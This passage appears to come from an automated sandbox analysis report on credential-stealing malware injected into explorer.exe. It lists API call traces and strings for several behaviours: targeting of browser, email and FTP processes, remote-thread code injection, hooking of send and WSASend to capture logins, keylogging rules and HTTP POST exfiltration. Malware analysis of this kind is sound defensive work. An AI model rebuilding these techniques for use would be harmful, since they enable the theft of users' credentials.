CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 005810DF
Process32First.KERNEL32(00000000,?), ref: 005810FE
lstrcmpiA.KERNEL32(?,firefox.exe), ref: 0058111A
lstrcmpiA.KERNEL32(?,iexplore.exe), ref: 0058112E
lstrcmpiA.KERNEL32(?,chrome.exe), ref: 00581142
lstrcmpiA.KERNEL32(?,opera.exe), ref: 00581156
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 00581166
lstrcmpiA.KERNEL32(?,outlook.exe), ref: 0058117A
lstrcmpiA.KERNEL32(?,thebat.exe), ref: 0058118E
lstrcmpiA.KERNEL32(?,thebat32.exe), ref: 005811A2
lstrcmpiA.KERNEL32(?,thebat64.exe), ref: 005811B6
lstrcmpiA.KERNEL32(?,thunderbird.exe), ref: 005811CA
lstrcmpiA.KERNEL32(?,filezilla.exe), ref: 005811DE
lstrcmpiA.KERNEL32(?,smartftp.exe), ref: 005811F2
lstrcmpiA.KERNEL32(?,winscp.exe), ref: 00581206
lstrcmpiA.KERNEL32(?,flashfxp.exe), ref: 00581216
lstrcmpiA.KERNEL32(?,cuteftppro.exe), ref: 00581226
lstrcmpiA.KERNEL32(?,mailmaster.exe), ref: 00581236
lstrcmpiA.KERNEL32(?,263em.exe), ref: 00581246
lstrcmpiA.KERNEL32(?,foxmail.exe), ref: 00581256
lstrcmpiA.KERNEL32(?,alimail.exe), ref: 00581266
lstrcmpiA.KERNEL32(?,mailchat.exe), ref: 00581276
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 005812B4
Process32Next.KERNEL32(00000000,00000128), ref: 0058130B
CloseHandle.KERNELBASE(00000000), ref: 0058131C
Sleep.KERNELBASE(000003E8), ref: 00581327

Strings

thunderbird.exe, xrefs: 005811C0
thebat32.exe, xrefs: 00581198
iexplore.exe, xrefs: 00581124
smartftp.exe, xrefs: 005811E8
chrome.exe, xrefs: 00581138
microsoftedgecp.exe, xrefs: 005810D2, 00581160, 005812AE
opera.exe, xrefs: 0058114C
mailmaster.exe, xrefs: 0058122C
flashfxp.exe, xrefs: 0058120C
thebat.exe, xrefs: 00581184
thebat64.exe, xrefs: 005811AC
foxmail.exe, xrefs: 0058124C
outlook.exe, xrefs: 00581170
firefox.exe, xrefs: 00581114
263em.exe, xrefs: 0058123C
mailchat.exe, xrefs: 0058126C
winscp.exe, xrefs: 005811FC
alimail.exe, xrefs: 0058125C
filezilla.exe, xrefs: 005811D4
cuteftppro.exe, xrefs: 0058121C

Memory Dump Source

Source File: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, Offset: 00581000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_581000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcmpi$HeapProcess32$AllocateCloseCreateFirstHandleNextProcessSleepSnapshotToolhelp32
String ID: 263em.exe$alimail.exe$chrome.exe$cuteftppro.exe$filezilla.exe$firefox.exe$flashfxp.exe$foxmail.exe$iexplore.exe$mailchat.exe$mailmaster.exe$microsoftedgecp.exe$opera.exe$outlook.exe$smartftp.exe$thebat.exe$thebat32.exe$thebat64.exe$thunderbird.exe$winscp.exe
API String ID: 3950187957-1680033604
Opcode ID: b22e721435c45cc854168f21eb60fcb3a57d60e0cec1671182f04354b6d4af71
Instruction ID: 1783c81b96d9d5d1c1b0a25a0569de9adb2250a4df6f99209c89ceaeb6a7557c
Opcode Fuzzy Hash: b22e721435c45cc854168f21eb60fcb3a57d60e0cec1671182f04354b6d4af71
Instruction Fuzzy Hash: FD515171604706A7DB10FBB18C4AE6E7EECBA45B90B440929FD41F2090EF25D90ACB79

Function 00587728 Relevance: 6.2, APIs: 4, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.4174510515.0000000000586000.00000040.80000000.00040000.00000000.sdmp, Offset: 00586000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_586000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9aa14b8831401814b993d4702949b28b1fc12fe303dd09e449a95f8c380e47d
Instruction ID: b9292f1849370d818214069f7921c7e974f45da52ea72b643788fe9d4324b150
Opcode Fuzzy Hash: d9aa14b8831401814b993d4702949b28b1fc12fe303dd09e449a95f8c380e47d
Instruction Fuzzy Hash: 51512B7194C3954FD721AA78CC846B07FA0FB5A320B390679CDE5DB3C6E7949806C760

Function 00582861 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000A000,005810CC), ref: 00582864
RtlAllocateHeap.NTDLL(00000000), ref: 0058286B

Memory Dump Source

Source File: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, Offset: 00581000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_581000_explorer.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 6c2106464e95c165856168a6822e5430a9c9714dbf69adc7a7aea2be642283d8
Instruction ID: 496ff1692720f1d884088ec23c25077b94733d5b11248955b342a092c5a522db
Opcode Fuzzy Hash: 6c2106464e95c165856168a6822e5430a9c9714dbf69adc7a7aea2be642283d8
Instruction Fuzzy Hash: 2FA01270500100FFEF4017A0FC0DF053A18A750B01F0010007509D40608960014CB721

Non-executed Functions

Function 00581819 Relevance: 47.5, APIs: 23, Strings: 4, Instructions: 208
injectionnativesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00582608: VirtualQuery.KERNEL32(00584434,?,0000001C), ref: 00582615

OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000,74DEE800,microsoftedgecp.exe,?), ref: 0058184E
NtSetInformationProcess.NTDLL(00000000,00000034,?), ref: 00581889
NtUnmapViewOfSection.NTDLL(000000FF,00000000), ref: 00581919
RtlMoveMemory.NTDLL(00000000,00583428,00000016), ref: 00581940
RtlMoveMemory.NTDLL(-00000016,00000363), ref: 00581968
NtUnmapViewOfSection.NTDLL(000000FF,-00000016), ref: 00581978
CreateMutexA.KERNEL32(00000000,00000000,opera_shared_counter,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00581992
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?,00000000), ref: 0058199A
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 005819A8
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 005819AF
GetModuleHandleA.KERNEL32(ntdll,atan,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 005819C5
GetProcAddress.KERNEL32(00000000), ref: 005819CC
ReadProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 005819E2
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 00581A0C
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00581A1F
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00581A26
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00581A2D
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 00581A41
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00581A58
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00581A65
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00581A6B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00581A71
CloseHandle.KERNEL32(00000000,?,00000000), ref: 00581A74

Strings

microsoftedgecp.exe, xrefs: 0058181D
ntdll, xrefs: 005819C0
opera_shared_counter, xrefs: 0058198B
atan, xrefs: 005819BB

Memory Dump Source

Source File: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, Offset: 00581000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_581000_explorer.jbxd

Yara matches

Similarity

API ID: Handle$Close$MemoryProcess$Create$MoveRemoteSectionSleepThreadUnmapViewWrite$AddressErrorInformationLastModuleMutexOpenProcQueryReadVirtual
String ID: atan$microsoftedgecp.exe$ntdll$opera_shared_counter
API String ID: 1066286714-4141090125
Opcode ID: 3c8505a374fd48bfbe5d05a8228bdc2678623bfa7be79dfffb06eccb3cf5c11b
Instruction ID: 1c64704a992cb564274bbdf3f5e886d124368c4cfea73097e0ad1dd938871531
Opcode Fuzzy Hash: 3c8505a374fd48bfbe5d05a8228bdc2678623bfa7be79dfffb06eccb3cf5c11b
Instruction Fuzzy Hash: 59617A71205305AFD310EF65DC88E6BBFECFB99B54F000619FD49E2251DA70DA098BA6

Function 0058263E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 68
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 0058265A
CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00582672
lstrlen.KERNEL32(?,00000000), ref: 0058267A
CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 00582685
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 0058269F
wsprintfA.USER32 ref: 005826B6
CryptDestroyHash.ADVAPI32(?), ref: 005826CF
CryptReleaseContext.ADVAPI32(?,00000000), ref: 005826D9

Strings

%02X, xrefs: 005826B0

Memory Dump Source

Source File: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, Offset: 00581000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_581000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamReleaselstrlenwsprintf
String ID: %02X
API String ID: 3341110664-436463671
Opcode ID: 96148755baa801799993183019ebfe819d3bc166ad659545df53c5e7e0af665a
Instruction ID: 33968c0587addd9af050fb319b1760f459a8787eeefac6f352f729e58fb46469
Opcode Fuzzy Hash: 96148755baa801799993183019ebfe819d3bc166ad659545df53c5e7e0af665a
Instruction Fuzzy Hash: 2B11FB71900108FFDB119B95EC8CEAEBFBCFB44B41F1040A5FA05E2160EA714F55AB60

Function 00581B17 Relevance: 6.1, APIs: 4, Instructions: 101
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlMoveMemory.NTDLL(?,?,?), ref: 00581B4E
LoadLibraryA.KERNEL32(?,00584434,00000000,00000000,74DF2EE0,00000000,00581910,?,?,?,00000001,?,00000000), ref: 00581B76
GetProcAddress.KERNEL32(00000000,-00000002), ref: 00581BA3
LdrProcessRelocationBlock.NTDLL(?,?,00000008,?), ref: 00581BF4

Memory Dump Source

Source File: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, Offset: 00581000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_581000_explorer.jbxd

Yara matches

Similarity

API ID: AddressBlockLibraryLoadMemoryMoveProcProcessRelocation
String ID:
API String ID: 3827878703-0
Opcode ID: 817af7cdca3b2357fc263e7d1b6592a75340b568417bab2252c58523a5d76205
Instruction ID: 995781e4f0a1bedbd5aff6a3289bae2d74a07be2f092f66ea4dc81a2e68574c4
Opcode Fuzzy Hash: 817af7cdca3b2357fc263e7d1b6592a75340b568417bab2252c58523a5d76205
Instruction Fuzzy Hash: 9831A275700A11ABCB24DF29C884B66BBECBF15316B14456CEC86E7200E731EC46CBA8

Function 00581332 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 94
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00582861: GetProcessHeap.KERNEL32(00000008,0000A000,005810CC), ref: 00582864
Part of subcall function 00582861: RtlAllocateHeap.NTDLL(00000000), ref: 0058286B

GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,?,?,0058109E,?,00581010), ref: 0058134A
GetCurrentProcessId.KERNEL32(00000003,?,0058109E,?,00581010), ref: 0058135B
wsprintfA.USER32 ref: 00581372

Part of subcall function 0058263E: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 0058265A
Part of subcall function 0058263E: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00582672
Part of subcall function 0058263E: lstrlen.KERNEL32(?,00000000), ref: 0058267A
Part of subcall function 0058263E: CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 00582685
Part of subcall function 0058263E: CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 0058269F
Part of subcall function 0058263E: wsprintfA.USER32 ref: 005826B6
Part of subcall function 0058263E: CryptDestroyHash.ADVAPI32(?), ref: 005826CF
Part of subcall function 0058263E: CryptReleaseContext.ADVAPI32(?,00000000), ref: 005826D9

CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 00581389
GetLastError.KERNEL32 ref: 0058138F
Sleep.KERNEL32(000001F4), ref: 005813A1

Part of subcall function 005824D5: GetCurrentProcessId.KERNEL32 ref: 005824E7
Part of subcall function 005824D5: GetCurrentThreadId.KERNEL32 ref: 005824EF
Part of subcall function 005824D5: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 005824FF
Part of subcall function 005824D5: Thread32First.KERNEL32(00000000,0000001C), ref: 0058250D
Part of subcall function 005824D5: CloseHandle.KERNEL32(00000000), ref: 00582566

GetModuleHandleA.KERNEL32(ws2_32.dll,send), ref: 005813B8
GetProcAddress.KERNEL32(00000000), ref: 005813BF
GetModuleHandleA.KERNEL32(ws2_32.dll,WSASend), ref: 005813E4
GetProcAddress.KERNEL32(00000000), ref: 005813EB

Part of subcall function 00581DE3: RtlMoveMemory.NTDLL(00000000,00000000,00000000), ref: 00581E1D

RtlExitUserThread.NTDLL(00000000), ref: 0058141D

Strings

WSASend, xrefs: 005813DA
%s%d%d%d, xrefs: 0058136C
ws2_32.dll, xrefs: 005813B3, 005813DF
send, xrefs: 005813AE

Memory Dump Source

Source File: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, Offset: 00581000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_581000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$CreateCurrentHandleModuleProcess$AddressContextHeapProcThreadwsprintf$AcquireAllocateCloseDataDestroyErrorExitFileFirstLastMemoryMoveMutexNameParamReleaseSleepSnapshotThread32Toolhelp32Userlstrlen
String ID: %s%d%d%d$WSASend$send$ws2_32.dll
API String ID: 706757162-1430290102
Opcode ID: 0bb66ba5770e3946892f3976f178e46020bafeb417d941dea1793bae22312685
Instruction ID: 954272d5e7eda4043ac7f2ddbaf55e800df2b65f8292578d56b7e01aa8b4ca32
Opcode Fuzzy Hash: 0bb66ba5770e3946892f3976f178e46020bafeb417d941dea1793bae22312685
Instruction Fuzzy Hash: D4314D31340615EBCF107FA1DC0EB6A3E69BB65B41F004014FE06BA2A1DB758A569BA5

Function 00581647 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 91
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00584220,?,?), ref: 00581679
lstrlen.KERNEL32(?), ref: 00581686
getpeername.WS2_32(?,?,?), ref: 005816A0
inet_ntoa.WS2_32(?), ref: 005816B1
htons.WS2_32(?), ref: 005816BF
wsprintfA.USER32 ref: 00581725

Strings

pop3://%s:%s@%s:%d, xrefs: 00581701
smtp://%s:%s@%s:%d, xrefs: 005816F3, 00581723
ftp://%s:%s@%s:%d, xrefs: 00581708
imap://%s:%s@%s:%d, xrefs: 005816FA

Memory Dump Source

Source File: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, Offset: 00581000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_581000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlen$getpeernamehtonsinet_ntoawsprintf
String ID: ftp://%s:%s@%s:%d$imap://%s:%s@%s:%d$pop3://%s:%s@%s:%d$smtp://%s:%s@%s:%d
API String ID: 3379139566-1703351401
Opcode ID: 5f794ee005dc322a0f11f18b01f6c7db63a7071dd3c08ff5805d5aa4a46c8ba7
Instruction ID: c5b6de83a1d7052998389a6eefc1ec29d8765dfd86f4c45ba62699961efa8f48
Opcode Fuzzy Hash: 5f794ee005dc322a0f11f18b01f6c7db63a7071dd3c08ff5805d5aa4a46c8ba7
Instruction Fuzzy Hash: 6A21AE36A00609ABDF107EB98C889BE7EADFB55741F084079ED05F3211DA30CE029BA4

Function 00581752 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 44
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,sscanf,?,?,?,00581539,?,?,?,0058144B,?), ref: 00581763
GetProcAddress.KERNEL32(00000000), ref: 0058176A
RtlZeroMemory.NTDLL(00584228,00000104), ref: 00581788
RtlZeroMemory.NTDLL(00584118,00000104), ref: 00581790
RtlZeroMemory.NTDLL(00584330,00000104), ref: 00581798
RtlZeroMemory.NTDLL(00584000,00000104), ref: 005817A1

Strings

sscanf, xrefs: 00581755
ntdll.dll, xrefs: 0058175A
%s%s%s%s, xrefs: 005817B3

Memory Dump Source

Source File: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, Offset: 00581000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_581000_explorer.jbxd

Yara matches

Similarity

API ID: MemoryZero$AddressHandleModuleProc
String ID: %s%s%s%s$ntdll.dll$sscanf
API String ID: 1490332519-278825019
Opcode ID: be9519ac6f290a0ce88af6d20fbeed697690a8aa55122e6efcaeeb67cdd7fa2e
Instruction ID: c86bcc565f6672d9d7e28d39636372a27c09517eadef23050a642bc2c9986d8c
Opcode Fuzzy Hash: be9519ac6f290a0ce88af6d20fbeed697690a8aa55122e6efcaeeb67cdd7fa2e
Instruction Fuzzy Hash: F8F0823678032D73C22032EABC0EC5BBE5CEA61FA67020151BE05B3291D99569008FB4

Function 005824D5 Relevance: 15.1, APIs: 10, Instructions: 51
threadprocessinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 005824E7
GetCurrentThreadId.KERNEL32 ref: 005824EF
CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 005824FF
Thread32First.KERNEL32(00000000,0000001C), ref: 0058250D
OpenThread.KERNEL32(001FFFFF,00000000,?), ref: 0058252C
SuspendThread.KERNEL32(00000000), ref: 0058253C
CloseHandle.KERNEL32(00000000), ref: 0058254B
Thread32Next.KERNEL32(00000000,0000001C), ref: 0058255B
CloseHandle.KERNEL32(00000000), ref: 00582566

Memory Dump Source

Source File: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, Offset: 00581000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_581000_explorer.jbxd

Yara matches

Similarity

API ID: Thread$CloseCurrentHandleThread32$CreateFirstNextOpenProcessSnapshotSuspendToolhelp32
String ID:
API String ID: 1467098526-0
Opcode ID: af3faf389965807ac9bcc81fab5667ac676848d0ef0ef5d0dc1e22113c23d6bb
Instruction ID: ba8a5330c016a3e46ca22d25c825e4d54f3bc4d4804e10ca307d429c65fa23b8
Opcode Fuzzy Hash: af3faf389965807ac9bcc81fab5667ac676848d0ef0ef5d0dc1e22113c23d6bb
Instruction Fuzzy Hash: 08113CB1444201EBD701AF61AC4DB6EBFA8FB95B01F144529FE41B6150E7318A09ABA3

Function 00581F4A Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00582861: GetProcessHeap.KERNEL32(00000008,0000A000,005810CC), ref: 00582864
Part of subcall function 00582861: RtlAllocateHeap.NTDLL(00000000), ref: 0058286B

Part of subcall function 005827E2: lstrlen.KERNEL32(005840DA,?,00000000,00000000,00581F86,74DE8A60,005840DA,00000000), ref: 005827EA
Part of subcall function 005827E2: MultiByteToWideChar.KERNEL32(00000000,00000000,005840DA,00000001,00000000,00000000), ref: 005827FC

Part of subcall function 00582374: RtlZeroMemory.NTDLL(?,00000018), ref: 00582386

RtlZeroMemory.NTDLL(?,0000003C), ref: 00581FE2
wsprintfW.USER32 ref: 0058211B
wsprintfW.USER32 ref: 00582186
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 00582250

Strings

POST, xrefs: 005820CC
Content-Type: application/x-www-form-urlencoded, xrefs: 005821AA
Host: %s, xrefs: 00582180
Accept: */*Referer: %S, xrefs: 00582111

Memory Dump Source

Source File: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, Offset: 00581000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_581000_explorer.jbxd

Yara matches

Similarity

API ID: Memory$HeapZerowsprintf$AllocateByteCharMoveMultiProcessWidelstrlen
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$Host: %s$POST
API String ID: 4204651544-1701262698
Opcode ID: 359da583099a54202c89cf71f7f7058854614c8eadef9d22798a69e5a4c108f7
Instruction ID: ed66d1a5eb4fb1c91f076f3b9672d4b1c0eec33bb49eb97d40144693503d33b5
Opcode Fuzzy Hash: 359da583099a54202c89cf71f7f7058854614c8eadef9d22798a69e5a4c108f7
Instruction Fuzzy Hash: 1EA14D75608305AFD710EF64D889A2BBFE9FB98740F10492DFD86E3251DA70DA08DB52

Function 005825AD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000400,00000000,?,74DEE800,?,?,microsoftedgecp.exe,00581287), ref: 005825BF
IsWow64Process.KERNEL32(000000FF,?), ref: 005825D1
IsWow64Process.KERNEL32(00000000,?), ref: 005825E4
CloseHandle.KERNEL32(00000000), ref: 005825FA

Strings

microsoftedgecp.exe, xrefs: 005825AD

Memory Dump Source

Source File: 0000000E.00000002.4174510515.0000000000581000.00000040.80000000.00040000.00000000.sdmp, Offset: 00581000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_581000_explorer.jbxd

Yara matches

Similarity

API ID: Process$Wow64$CloseHandleOpen
String ID: microsoftedgecp.exe
API String ID: 331459951-1475183003
Opcode ID: 65a8fae8f1c09d287f01033bb0e34ece0c03d54d1a021fc76a680fe54c0f2e67
Instruction ID: 20cfa8eceb7fe2ef8ea239e19653a843a62c49a65f2ebdc32254858e2b3f880d
Opcode Fuzzy Hash: 65a8fae8f1c09d287f01033bb0e34ece0c03d54d1a021fc76a680fe54c0f2e67
Instruction Fuzzy Hash: DEF06D71946618FFDB109F909D888AE7FACEB01651F14126AED10B6140D7314F08B7A0

Analysis Process: explorer.exePID: 5292, Parent PID: 2580COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0082355C Relevance: 1.6, APIs: 1, Instructions: 73
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 008235D8

Memory Dump Source

Source File: 00000011.00000002.4174299297.0000000000821000.00000040.80000000.00040000.00000000.sdmp, Offset: 00821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_821000_explorer.jbxd

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 105ce7ebc966886b9a25723169f2257f301d4275c672492e635fc8e478682f43
Instruction ID: 8bd715b8cdb27258873e3ca573d4dc486bc37f67a1337266efd3f6288b525948
Opcode Fuzzy Hash: 105ce7ebc966886b9a25723169f2257f301d4275c672492e635fc8e478682f43
Instruction Fuzzy Hash: FF119430615E195FEF58BBBCA8AD27937A4FB69302F54013AA419C76A1DA3D8A81C701

Function 00823220 Relevance: 7.7, APIs: 5, Instructions: 241
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00823266
Process32First.KERNEL32 ref: 00823289
Process32Next.KERNEL32 ref: 00823532
CloseHandle.KERNELBASE ref: 00823543
SleepEx.KERNELBASE ref: 0082354E

Memory Dump Source

Source File: 00000011.00000002.4174299297.0000000000821000.00000040.80000000.00040000.00000000.sdmp, Offset: 00821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_821000_explorer.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSleepSnapshotToolhelp32
String ID:
API String ID: 2482764027-0
Opcode ID: dd7379c30c01fbe83c455f487028ed93214d04d4b8b4672215a43173641bdad8
Instruction ID: 8da1a4398fcdcce429c65f31612aec8507ddf25569fe7c4af2b3d236bfc75717
Opcode Fuzzy Hash: dd7379c30c01fbe83c455f487028ed93214d04d4b8b4672215a43173641bdad8
Instruction Fuzzy Hash: 868131312186188FEB06EF24FC58BEAB7A1FB60741F54466AA446C7160EF7CDA44CB81

Function 0082A048 Relevance: 4.7, APIs: 3, Instructions: 223
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0082A147
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-0000000E), ref: 0082A1BB
VirtualProtect.KERNELBASE ref: 0082A1D9

Memory Dump Source

Source File: 00000011.00000002.4174299297.0000000000827000.00000040.80000000.00040000.00000000.sdmp, Offset: 00827000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_827000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 9471cbd89cfacdc20873a06991d91791c754b160c08a2600c3720216ed5fc549
Instruction ID: 2d34ec8003db4864a7734e0c0adba5202491a87c45e21cee3b5f88b45b4dbd25
Opcode Fuzzy Hash: 9471cbd89cfacdc20873a06991d91791c754b160c08a2600c3720216ed5fc549
Instruction Fuzzy Hash: CB512731758D3D8BCB2CAA78ACC46B5B7C1FF55335F58062AD48AC3285E959D8C68383

Analysis Process: explorer.exePID: 2164, Parent PID: 2580COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02F21016 Relevance: 33.4, APIs: 14, Strings: 5, Instructions: 193
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02F22724: VirtualQuery.KERNEL32(00000000,?,0000001C,?,?,?,00000000,02F229F3,-00000001,02F2128C), ref: 02F22731

Part of subcall function 02F22A09: GetProcessHeap.KERNEL32(00000008,0000A000,02F210BF), ref: 02F22A0C
Part of subcall function 02F22A09: RtlAllocateHeap.NTDLL(00000000), ref: 02F22A13

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 02F21038
RtlMoveMemory.NTDLL(00000000,?,?), ref: 02F2106C
NtUnmapViewOfSection.NTDLL(000000FF,?), ref: 02F21075
GetCurrentProcessId.KERNEL32(?,02F21010), ref: 02F2107B
wsprintfA.USER32 ref: 02F210E7
RtlMoveMemory.NTDLL(00000000,0000000C,-00000001), ref: 02F21155
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02F21160
Process32First.KERNEL32(00000000,?), ref: 02F2117F
CharLowerA.USER32(?), ref: 02F21199
lstrcmpiA.KERNEL32(?,explorer.exe), ref: 02F211B5
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 02F21212
Process32Next.KERNEL32(00000000,00000128), ref: 02F2126C
CloseHandle.KERNEL32(00000000), ref: 02F2127F
Sleep.KERNELBASE(000003E8), ref: 02F2129F

Strings

keylog_rules=, xrefs: 02F2110D
%s%s, xrefs: 02F210E1
|:|, xrefs: 02F21125
microsoftedgecp.exe, xrefs: 02F21208
explorer.exe, xrefs: 02F211AB

Memory Dump Source

Source File: 00000013.00000002.4174455214.0000000002F21000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F21000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2f21000_explorer.jbxd

Similarity

API ID: MemoryMove$HeapProcessProcess32lstrcmpi$AllocateCharCloseCreateCurrentFirstHandleLowerNextQuerySectionSleepSnapshotToolhelp32UnmapViewVirtualwsprintf
String ID: %s%s$explorer.exe$keylog_rules=$microsoftedgecp.exe$|:|
API String ID: 3206029838-2805246637
Opcode ID: ab3a4ec9de356ff4f78175b0056dfc080fb4bf1d4b1b4d30045b56d7287d0a90
Instruction ID: d3fb2b44c83e1fc4a38df32432614dc901bb20f882fd9c03df14886b46a2f09e
Opcode Fuzzy Hash: ab3a4ec9de356ff4f78175b0056dfc080fb4bf1d4b1b4d30045b56d7287d0a90
Instruction Fuzzy Hash: F4510570E442295BD724EF70DC44A7BB7AAEB47BC4F010A28BB49972C1DB34990D8F61

Function 02F210A5 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 151
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

